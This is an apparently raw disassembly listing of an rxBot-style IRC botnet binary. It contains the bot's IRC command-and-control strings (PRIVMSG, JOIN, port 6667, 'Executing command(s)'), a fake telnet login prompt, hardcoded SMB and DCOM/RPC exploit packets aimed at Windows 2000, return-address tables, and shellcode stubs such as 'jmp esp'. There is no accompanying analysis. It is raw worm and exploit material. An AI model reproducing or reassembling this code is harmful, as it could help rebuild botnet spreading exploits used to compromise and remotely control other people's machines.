dword_414B6C	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_407A76+8E3o
dword_414B80	dd 0DA607ED0h		; DATA XREF: sub_407A76:loc_408345r
		align 10h
dword_414B90	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_407A76+8B9o
		dd 2037325h, 0
dword_414BAC	dd 8FCCB0h		; DATA XREF: sub_407A76:loc_4082EAr
		dd 2 dup(0)
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_407A76+86Do
		align 4
dword_414BCC	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_407A76+819o
		dd 2037325h, 0
dword_414BE8	dd 0ECB0h		; DATA XREF: sub_407A76:loc_40823Dr
		align 10h
dword_414BF0	dd 2444A601h		; DATA XREF: sub_407A76:loc_408212r
		align 10h
dword_414C00	dd 1E546F56h		; DATA XREF: sub_407A76:loc_4081C6r
		dd 4 dup(0)
dword_414C14	dd 1BB4B511h		; DATA XREF: sub_407A76+737r
		dd 3 dup(0)
dword_414C24	dd 15A600h		; DATA XREF: sub_407A76+72Br
		align 10h
dword_414C30	dd 23002600h		; DATA XREF: sub_407A76+71Fr
		dd 2 dup(0)
dword_414C3C	dd 2692600h		; DATA XREF: sub_407A76:loc_408189r
		dd 2 dup(0)
dword_414C48	dd 23769570h		; DATA XREF: sub_407A76:loc_40816Ar
		dd 2 dup(0)
dword_414C54	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_407A76+6EAo
dword_414C64	dd 2538h		; DATA XREF: sub_407A76:loc_408153r
		dd 0
dword_414C6C	dd 24EF1110h		; DATA XREF: sub_407A76:loc_40813Ar
		dd 2 dup(0)
dword_414C78	dd 0F3567F0h		; DATA XREF: sub_407A76:loc_40812Fr
		dd 2 dup(0)
dword_414C84	dd 0F34D1A0h		; DATA XREF: sub_407A76:loc_40810Er
		align 10h
dword_414C90	dd 5F835274h		; DATA XREF: sub_407A76:loc_4080F6r
		align 10h
dword_414CA0	dd 5F837B94h		; DATA XREF: sub_407A76:loc_4080C3r
		align 10h
dword_414CB0	dd 9C263Dh		; DATA XREF: sub_407A76:loc_4080A1r
		align 10h
dword_414CC0	dd 1839E0F1h		; DATA XREF: sub_407A76:loc_40807Fr
		align 10h
dword_414CD0	dd 154BF0h		; DATA XREF: sub_407A76:loc_40805Dr
		dd 2 dup(0)
dword_414CDC	dd 1DA334F1h		; DATA XREF: sub_407A76+5C8r
		dd 3 dup(0)
dword_414CEC	dd 0FB98730h		; DATA XREF: sub_407A76+5BCr
		dd 2 dup(0)
dword_414CF8	dd 7DB90h		; DATA XREF: sub_407A76:loc_408026r
		dd 2 dup(0)
dword_414D04	dd 0E64F0h		; DATA XREF: sub_407A76:loc_408002r
		align 10h
dword_414D10	dd 2D10h		; DATA XREF: sub_407A76:loc_407FDAr
		align 8
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_407A76+522o
		align 10h
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_407A76+51Bo
		align 10h
dword_414D70	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_407A76+514o
dword_414D80	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_407A76+504o
dword_414D8C	dd 0BFh, 0		; DATA XREF: sub_407A76+4F4o
dword_414D94	dd 0DEC0878Bh, 0BEFCC6A0h, 0A68AEFE1h, 0B9938EAAh, 0DBEBEBFEh
					; DATA XREF: sub_407A76+4E2o
		dd 0D990DC88h, 0A88CEF99h, 2 dup(0)
dword_414DB8	dd 41AC160h		; DATA XREF: sub_407A76:loc_407F4Ar
		dd 2 dup(0)
dword_414DC4	dd 0EBF684B8h		; DATA XREF: sub_407A76:loc_407F31r
		dd 3 dup(0)
dword_414DD4	dd 2EE64F71h		; DATA XREF: sub_407A76:loc_407EE1r
		dd 3 dup(0)
dword_414DE4	dd 0BDDC8D9Ch, 0BCF4AE92h, 0D4AE9AF4h, 0BAFEF6D0h, 0CFABFC87h
					; DATA XREF: sub_407A76+386o
		dd 0CE86D1E3h, 2 dup(0)
dword_414E04	dd 92FFA79Ah, 0A7D287A1h, 0F39BA5CBh, 0A6E0D4E7h, 2 dup(0)
					; DATA XREF: sub_407A76+2DAo
dword_414E1C	dd 0AFDE818Dh, 0B2ECA782h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h
					; DATA XREF: sub_407A76+2C9o
		dd 98DA88BCh, 0C8DFB9CEh, 97EAFCD0h, 95FDBCACh,	85DBB0A1h
		dd 0E890A3CAh, 2 dup(0)
dword_414E50	dd 1DBA0h		; DATA XREF: sub_407A76:loc_407D31r
		align 8
dword_414E58	dd 183B7CF1h		; DATA XREF: sub_407A76:loc_407D18r
		dd 3 dup(0)
dword_414E68	dd 183ED1A1h		; DATA XREF: sub_407A76:loc_407CFCr
		dd 3 dup(0)
dword_414E78	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_407A76+27Co
		dd 3203A64h, 25023430h,	20373h
dword_414E98	dd 2450F230h		; DATA XREF: sub_407A76:loc_407C5Er
		dd 2 dup(0)
dword_414EA4	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_407A76+1DEo
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_414EC8	dd 232320h		; DATA XREF: sub_407A76+15Fo
dword_414ECC	dd 22D8F230h		; DATA XREF: sub_407A76:loc_407B8Ar
		dd 2 dup(0)
dword_414ED8	dd 0A90090h		; DATA XREF: sub_407A76:loc_407B6Br
		dd 2 dup(0)
dword_414EE4	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_407A76+EBo
		dd 2037325h, 0
dword_414F00	dd 4730930h		; DATA XREF: sub_407A76:loc_407B31r
		dd 2 dup(0)
dword_414F0C	dd 4B43494Eh, 732520h	; DATA XREF: sub_407A76:loc_407B16o
					; sub_409277+F0o ...
dword_414F14	dd 0B36E0h		; DATA XREF: sub_407A76:loc_407AECr
		align 10h
dword_414F20	dd 97769270h		; DATA XREF: sub_407A76+57r
		align 10h
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_408D81+53o
					; sub_409918+631o
		align 10h
asc_414F50:				; DATA XREF: sub_408D81+29o
		unicode	0, <;>,0
asc_414F54	db '<=',0               ; DATA XREF: sub_408E1A+2F2o
		align 4
asc_414F58	db '>=',0               ; DATA XREF: sub_408E1A+2C2o
		align 4
asc_414F5C:				; DATA XREF: sub_408E1A+2AAo
		dw 3Eh
		unicode	0, <>,0
asc_414F60	db '!=',0               ; DATA XREF: sub_408E1A+28Eo
		align 4
asc_414F64	db '==',0               ; DATA XREF: sub_408E1A+272o
		align 4
aIpv6		db '$ipv6',0            ; DATA XREF: sub_408E1A+181o
					; sub_408E1A+253o
		align 10h
aFirewall	db '$firewall',0        ; DATA XREF: sub_408E1A+166o
					; sub_408E1A+238o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_408E1A+14Bo
					; sub_408E1A+21Do
		align 4
aFree		db '$free',0            ; DATA XREF: sub_408E1A+130o
					; sub_408E1A+202o
		align 10h
aVersion	db '$version',0         ; DATA XREF: sub_408E1A+115o
					; sub_408E1A+1E7o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_408E1A+EEo
					; sub_408E1A+1C0o
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_408E1A+9Co
		align 4
asc_414FB4	db '&&',0               ; DATA XREF: sub_408E1A+6Ao
		align 4
asc_414FB8:				; DATA XREF: sub_408E1A+21o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_409149+46o
		align 4
a6667		db '6667',0             ; DATA XREF: sub_4091AD:loc_4091D8o
		align 10h
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_409277+230o
					; sub_409918+384o
		align 4
aG:					; DATA XREF: sub_409277+1AFo
					; sub_409918+303o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_409277+1A3o
					; sub_409918+2F7o
		unicode	0, <A>,0
aB:					; DATA XREF: sub_409277+19Co
					; sub_409918+2F0o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_409277+167o
					; sub_409918+2BCo
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_409277+C7o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_409277+3Do
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_4095E7+16o
					; sub_4096CB+2Eo
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_409659+16o
					; sub_4096CB:loc_409720o
		align 10h
dword_415040	dd 1			; DATA XREF: sub_4096CB+CDo
dword_415044	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_4096CB+8Ao
dword_415050	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_4096CB+4Eo
dword_415060	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_4096CB+3Eo
aMirc		db 'mIRC',0             ; DATA XREF: sub_409835+2o
					; sub_409843+1Co
		align 4
asc_415078:				; DATA XREF: sub_409918+890o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_409918:loc_409FE7o
					; sub_40A236+70o
		align 4
asc_415084	db '][',0               ; DATA XREF: sub_409918+607o
		align 4
a332		db '332',0              ; DATA XREF: sub_409918:loc_409E8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_409918:loc_409E54o
		align 4
a@:					; DATA XREF: sub_409918+4E4o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_409918:loc_409DDEo
					; sub_40A236+2Fo
a451		db '451',0              ; DATA XREF: sub_409918:loc_409DC1o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_409918+487o
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_409918+437o
a001		db '001',0              ; DATA XREF: sub_409918:loc_409D19o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_409918+3F7o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_409918:loc_409CDAo
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_409918:loc_409CBBo
		align 4
a433		db '433',0              ; DATA XREF: sub_409918:loc_409B57o
dword_4150E0	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_409918+22Bo
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_409918:loc_409B3Eo
dword_415100	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_409918+211o
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_415124	dd 4950013Ah, 1474Eh	; DATA XREF: sub_409918+1DAo
dword_41512C	dd 4950013Ah, 474Eh	; DATA XREF: sub_409918+1C7o
dword_415134	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_409918+1B4o
dword_415140	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_409918:loc_409AB9o
aSend		db 'SEND',0             ; DATA XREF: sub_409918+AFo
		align 4
dword_415154	dd 4344013Ah, 43h	; DATA XREF: sub_409918+8Fo
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_409918+61o
					; sub_409918+69Eo ...
aMode		db 'MODE',0             ; DATA XREF: sub_409918+4Ao
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_409918:loc_40994Bo
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_409918+24o
aPing		db 'PING',0             ; DATA XREF: sub_409918+Fo
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40A236:loc_40A32Bo
		align 4
byte_415194	db 41h			; DATA XREF: sub_40A42C:loc_40A43Ar
					; sub_40A51A+15r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4
unk_4151D8	db  2Dh	; -		; DATA XREF: kkrunchy:0040B6A8o
					; sub_40E6A0+52o
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 2Eh,	3, 30h
		db  34h	; 4
		db 2, 25h, 73h
		db    3
		db 2, 2Dh, 20h
aU_RawTransferT	db '%u. Raw transfer to %s complete.',0
		align 10h
aTelnet		db 'telnet',0           ; DATA XREF: kkrunchy:0040B6A2o
		align 4
aUserAccessVeri	db 0Dh,0Ah		; DATA XREF: kkrunchy:0040B680o
		db 0Dh,0Ah
		db 'User Access Verification',0Dh,0Ah
		db 0Dh,0Ah
		db 'Password:',0
		align 4
dword_415244	dd 0FF01FBFFh, 0FDFF03FBh, 1FFDFF18h, 0	; DATA XREF: kkrunchy:0040B651o
dword_415254	dd 1130h, 0		; DATA XREF: sub_40B6BE+51o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
dword_415280	dd 77777777h		; DATA XREF: kkrunchy:0040B927r
		dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h
		dd 77F9D463h
dword_41529C	dd 750362C3h		; DATA XREF: kkrunchy:0040B939r
		dd 75035173h, 3	dup(717564B8h)
dword_4152B0	dd 71AB7BFBh		; DATA XREF: kkrunchy:0040B94Br
		dd 773AD507h, 7C941EEDh
dword_4152BC	dd 77DB565Ch		; DATA XREF: kkrunchy:loc_40B954r
		dd 77FD1F89h, 2	dup(77E216B8h)
; ---------------------------------------------------------------------------


loc_4152CC:				; DATA XREF: kkrunchy:0040B910o
					; sub_40BAAF+D7o ...
		jmp	short loc_4152D2
; ---------------------------------------------------------------------------
		align 10h


loc_4152D0:				; DATA XREF: kkrunchy:0040B8EFo
		xor	ebp, [esi]


loc_4152D2:				; CODE XREF: kkrunchy:loc_4152CCj
		aaa
		xor	ch, [esi]
		xor	[esi], ch
		xor	[eax], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
a131_131_131_13	db '131.131.131.131',0  ; DATA XREF: kkrunchy:0040B8E4o
aRxbot_paradise	db 'rxbot_paradise',0   ; DATA XREF: kkrunchy:0040B8D1o
		align 4
a121204131313	db '12/12/04 13:13:13',0 ; DATA XREF: kkrunchy:0040B8BEo
		align 10h
aRxbotWasHere	db 'rxbot was here',0   ; DATA XREF: kkrunchy:0040B8A8o
		align 10h
aRxbot		db 'rxbot',0            ; DATA XREF: kkrunchy:0040B895o
		align 4
dword_415328	dd 2710h		; DATA XREF: kkrunchy:0040B858o
					; sub_40BAAF+88o
dword_41532C	dd 1130h, 0		; DATA XREF: sub_40B99D+51o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1
		db 0
byte_415355	db 3 dup(0)		; DATA XREF: kkrunchy:off_414108o
dword_415358	dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
					; DATA XREF: sub_40BAAF+C4o
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
dword_41537C	dd 2 dup(4A9D5E21h), 0	; DATA XREF: sub_40BAAF+9Bo
dword_415388	dd 77777777h		; DATA XREF: sub_40BAAF+EDr
		dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h
		dd 77F32836h
dword_4153A4	dd 750362C3h		; DATA XREF: sub_40BAAF+FEr
		dd 75035173h, 3	dup(7C2FA0F7h)
dword_4153B8	dd 71AB7BFBh		; DATA XREF: sub_40BAAF+10Fr
		dd 71AB7BFBh, 7C941EEDh
dword_4153C4	dd 77E216B8h		; DATA XREF: sub_40BAAF:loc_40BBC7r
		dd 77FD1F89h, 2	dup(77E216B8h)
dword_4153D4	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_40BC10+38o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40BCBD+94o
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		dd 0
dword_415454	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40BCBD+6Co
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4157B8	dd 20h,	0		; DATA XREF: sub_40BCBD+81o
		dd 20h,	5C005Ch, 0
aC1234561111111:			; DATA XREF: sub_40BCBD+CCo
		unicode	0, <\C$\123456111111111111111.doc>,0
		dd 0
dword_41580C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40BCBD+E5o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
dword_415840	dd 2180310h		; DATA XREF: sub_40BCBD+13Co
dword_415844	dd 10016C6h		; DATA XREF: sub_40BCBD+133o
dword_415848	dd 100139Dh		; DATA XREF: sub_40BCBD+12Ao
dword_41584C	dd 1001C55h		; DATA XREF: sub_40BCBD+113o
dword_415850	dd 1001C98h		; DATA XREF: sub_40BCBD:loc_40BDD7o
dword_415854	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_40BCBD+Eo
					; sub_40BE68+53o ...
dword_41585C	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_40BE68+14o
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4158A8	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_40BE68+11Eo
dword_4158C4	dd 10005h, 2 dup(0)	; DATA XREF: sub_40BE68+131o
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41590C	dd 0			; DATA XREF: sub_40BE68+266o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_415940:				; DATA XREF: sub_40BE68+100o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_41594C:				; DATA XREF: sub_40BE68+B0o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_415958:				; DATA XREF: sub_40BE68+154o
		jmp	short loc_41596A
; ---------------------------------------------------------------------------
		jmp	short loc_415975
; ---------------------------------------------------------------------------
		align 10h


loc_415960:				; DATA XREF: sub_40BE68+1B3o
		jmp	short near ptr word_415966
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_415966	dw 0			; CODE XREF: kkrunchy:loc_415960j
; ---------------------------------------------------------------------------


loc_415968:				; DATA XREF: sub_40BE68+1D6o
		jmp	short near ptr word_41596E
; ---------------------------------------------------------------------------


loc_41596A:				; CODE XREF: kkrunchy:loc_415958j
					; kkrunchy:loc_415988j
		jmp	short loc_415970
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41596E	dw 0			; CODE XREF: kkrunchy:loc_415968j
; ---------------------------------------------------------------------------


loc_415970:				; CODE XREF: kkrunchy:loc_41596Aj
					; DATA XREF: sub_40BE68+1FCo
		jmp	short near ptr loc_415975+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_415975:				; CODE XREF: kkrunchy:0041595Aj
					; kkrunchy:loc_415970j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_415978	dd offset loc_410058+4	; DATA XREF: sub_40BE68+24Fo
		dd 2 dup(0)
dword_415984	dd 77F33723h		; DATA XREF: sub_40BE68+17Ao
; ---------------------------------------------------------------------------


loc_415988:				; DATA XREF: sub_40BE68+190o
		jmp	short loc_41596A
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_41598C:				; DATA XREF: sub_40BE68+167o
		lahf
		jnz	short loc_4159A7


loc_41598F:				; DATA XREF: sub_40BE68+F0o
		add	[ecx+1Ch], bl


loc_415992:				; CODE XREF: kkrunchy:loc_41599Cj
		add	[ecx], al


loc_415994:				; DATA XREF: sub_40BE68+D0o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_415998:				; DATA XREF: sub_40BE68+E0o
		jmp	short near ptr dword_4159A0
; ---------------------------------------------------------------------------
		align 4


loc_41599C:				; DATA XREF: sub_40BE68+C0o
		jmp	short loc_415992
; ---------------------------------------------------------------------------
		align 10h
dword_4159A0	dd 85000000h		; CODE XREF: kkrunchy:loc_415998j
					; DATA XREF: sub_40C501+4Fo
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_4159A7:				; CODE XREF: kkrunchy:0041598Dj
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_415A2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C501+8Co
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_415AD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C501+BFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_415BB8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+76o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_40C135+9Do
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_415C1C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+102o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_415C88	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+13Bo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_415D2C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+36Eo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_415DAC	dd offset loc_401494+1	; DATA XREF: sub_40C135+39Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_415E40	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+23Eo
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_415EAC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C135+269o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_415F20	dd 0			; DATA XREF: sub_40C135+29Ao
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_415FA8	proc near		; DATA XREF: sub_40C135+35Bo
		sub	sp, 71Ch
		jmp	esp
sub_415FA8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_415FB0	dd 1004600h, 7515123Ch,	751C123Ch ; DATA XREF: sub_40C135+348o
; ---------------------------------------------------------------------------


loc_415FBC:				; DATA XREF: sub_40C135+1C1o
		jmp	short loc_415FC4
; ---------------------------------------------------------------------------
		dw 6EBh
		dd 0
; ---------------------------------------------------------------------------


loc_415FC4:				; CODE XREF: kkrunchy:loc_415FBCj
					; DATA XREF: kkrunchy:0040C6DEo ...
		mov	edx, 5042B68Ah
		push	ds


loc_415FCA:				; DATA XREF: kkrunchy:0040C692o
		rol	byte ptr [edx+12h], 1
		add	[eax], eax
		xor	al, 0
; ---------------------------------------------------------------------------
